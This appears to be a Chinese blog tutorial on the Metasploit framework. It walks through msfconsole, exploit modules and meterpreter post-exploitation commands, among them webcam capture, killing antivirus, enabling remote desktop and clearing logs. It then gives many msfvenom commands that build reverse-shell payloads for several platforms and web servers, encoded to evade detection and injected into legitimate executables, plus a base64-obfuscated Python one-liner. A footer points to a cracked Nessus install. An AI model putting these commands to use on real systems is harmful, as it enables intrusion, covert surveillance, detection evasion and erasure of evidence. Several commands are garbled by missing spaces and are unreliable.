Metasploit:
一款开源最受欢迎的渗透框架工具,因为开源一些攻击手段自然而然没用处了(手动滑稽)
但是持续的更新和流行的shellcode,集成了各种平台漏洞。还是广受欢迎,确实好用,关键还免费,kali和parrot操作系统都有。
Metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。
查看版本
1 |
msfconsole -v |
apt更新
1 |
工作目录下进行 |
apt安装
1 |
apt-get install metasploit-framework |
更新插件
1 |
wget https://github.com/rapid7/metasploitframework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb |
一.目录结构
一般安装了它,文件名大多数是metasoloit-framwork
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
- documentation:包含框架的可用文档。
- lib:metasploit的库文件夹。
- plugins:用来存放metasploit的插件。
- scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
- tools:存放多种的命令行实用程序。
- modules:存储metasploit的模块文件。(划重点)
modules目录结构
- auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
- exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则: 操作系统/各种应用协议分类
- payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
- post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
- encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
- evasion:躲避模块,用来生成免杀payload
- nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串 (NOPSx90x90…)则会因为被拦截而导致攻击失效。
二.食用方式
1.初始化数据库
1 |
msfdb init |
2.启动
1 |
msfconsole |
3.检测是否连接数据库
1 |
db_status |
4.查看工作区和获取工作区帮助文档
1 |
workspace |
三.模块db_nmap的食用
1 |
内网主机探测 |
四.auxiliary(辅助)模块的食用
扫描模块为auxliiary其中包含一些常见主机扫描工具,可针对某个漏洞某个系统进行探测具体可用去看官方文档。
1 |
设置的食用扫描模块为arp_sweep |
1 |
#搜索msf中含有ms17_010的模块 |
五.exploit(攻击)模块的食用
跟前一个食用方法基本一致选择攻击模块的哪一种之后可以
1 |
set设置选项 |
1 |
成功后会建立一个session |
六.msf常用命令
- show exploits – 查看所有可用的渗透攻击程序代码
- show auxiliary – 查看所有可用的辅助攻击工具
- [show]options/advanced– 查看该模块可用选项
- show payloads – 查看该模块适用的所有载荷代码
- showtargets – 查看该模块适用的攻击目标类型
- search– 根据关键字搜索某模块
- info– 显示某模块的详细信息
- use– 使用某渗透攻击模块 back– 回退
- set/unset – 设置/禁用模块中的某个参数
- setg/unsetg– 设置/禁用适用于所有模块的全局参数
- save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
七.开启摄像头
提前要有此设备:
webcam_list:查看色像头
webcam_snap:通过色像头拍照
webcam_stream:通过色像头开启视频
八.执行上传下载文件
execute: 在目标机器执行文件
创建新进程cmd.exe -H不可见, -i交互
upload 相对本地目录 目标目录
九.meterpreter常用命令
meterpreter > background 放回后台 | meterpreter > downloadC:1.txt 1.txt 下载文件 |
---|---|
meterpreter > exit 关闭会话 | meterpreter > upload /var/www/wce.exe wce.exe 上传 文件 |
meterpreter > help 帮助信息 | meterpreter > search-dc: -f *.doc 搜索文件 |
meterpreter > sysinfo系统平台信息 | meterpreter > execute-f cmd.exe -i 执行程序/命令 |
meterpreter > screenshot 屏幕截取 | meterpreter > ps 查看进程 |
meterpreter > shell 命令行shell (exit退出) | meterpreter > getuid 查看当前用户权限 |
meterpreter > getlwd 查看本地目录 | meterpreter > runkillav 关闭杀毒软件 |
meterpreter > lcd 切换本地目录 | meterpreter > rungetgui-e 启用远程桌面 |
meterpreter > getwd 查看目录 | meterpreter > portfwdadd-l 1234 -p 3389 -r <目标IP> 端口转发 |
meterpreter > ls 查看文件目录列表 | |
meterpreter > cd 切换目录 | |
meterpreter > rm 删除文件 |
十.msfvenom
介绍
msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一 个框架实例中。
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听 上线。
基本参数
-p:–payload,指定特定的 Payload,如果被设置为 -,那么从标准输入流中读取。几乎支持全平台。
-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n:–nopsled,指定 nop在 payload中的数量
-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式)
-e:–encoder,指定使用的encoder -a:–arch,指定目标系统架构 –platform:指定目标系统平台
-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)
-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’f’、’x00’等
-i:–iterations,设置 Payload的编码次数
–smallest:尽可能生成最短的 Payload
-o:–out,保存 Payload到文件
-c:–add-code,指定一个附加的win32 shellcode文件
-x:–template,指定一个特定的可执行文件作为模板
-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行
十一.Msfvenom生成Payload
生成payload可执行程序
1 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf |
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe |
1 |
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho |
1 |
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.24.146 lport=5445 -x |
1 |
msf5 > use exploit/multi/handler |
1 |
msfvenom-p windows/meterpreter/reverse_tcplhost=192.168.24.146 lport=5445 -x |
msfvenom可以帮助我们从大量的metasploit有效负载中创建需要的负载,合并到利用程序中。这里使用的
payload(windows/meterpreter/reverse_tcp),要回连的主机和端口(lhost,lport)、模板文件(-x
/root/Desktop/StampRemocer.exe)、输出格式(-f exe)及编码( -e x86/shikata_ga_nai)都会整合到
/var/www/html/heelllo.exe中。
Metasploit的exploit/multi/handler模块是一个有效负载处理程序,它只处理在受损主机中执行的有效负载
连接。
Meterpreter是metasploit的后渗透利用工具。基于内存dll注入实现,能够通过创建一个新进程并调用注入
的dll来让目标系统运行注入的dll文件。在该模式下,攻击者与目标设备中Meterpreter的通信是通过stager
套接字实现的。
Web Payload
1 |
msfvenom-p php/meterpreter/reverse_tcpLHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php |
1 |
msfvenom-a x86 --platform windows -p windows/meterpreter/reverse_tcpLHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx |
1 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp |
1 |
msfvenom-p java/jsp_shell_reverse_tcpLHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > |
1 |
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.24.146 lport=5555 -f raw -o |
1 |
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp |
脚本Payload
1 |
msfvenom -p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py |
1 |
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh |
1 |
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl |
1 |
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.24.146 lport=5447 -f raw -o |
1 |
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc |
stageless&staged payload
1 |
Staged payload: <platform>/[arch]/<stage>/<stager> |
StagelessMeterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑在 一起,将完整的payload都编译在木马中,体积庞大
Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:reverse_tcp、 bind_tcp
stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执 行,还需通过其他工具和脚本进行管理
简要展现
Payload | Staged | Stageless |
---|---|---|
Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
十二.Msfvenom几个监听参数介绍
1 |
msf5 exploit(multi/handler) > advanced |
Tip:
用于网页的拓展shell使用multi/script/web_delivery模块
用于反弹shell接收使用multi/handler模块
getpid查看进程
ps看全部
migrate迁移进程,同权限迁移
clearev清除痕迹
常用:
持续监听:
use exploit/multi/handler
shell转移:
use exploit/windows/local/payload_inject
search ms017
FROM :https://ailumao.cn/ | Author:Ailumao
相关推荐: MacOS 破解安装 Nessus 8.12.0
MacOS 破解安装 Nessus 8.12.0系统环境:macOS 10.15.7 Nessus 版本:8.12.0 下载安装 Nessus 官网:https://www.tenable.com/downloads/nessus 下载后缀 .dmg 安装成功…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论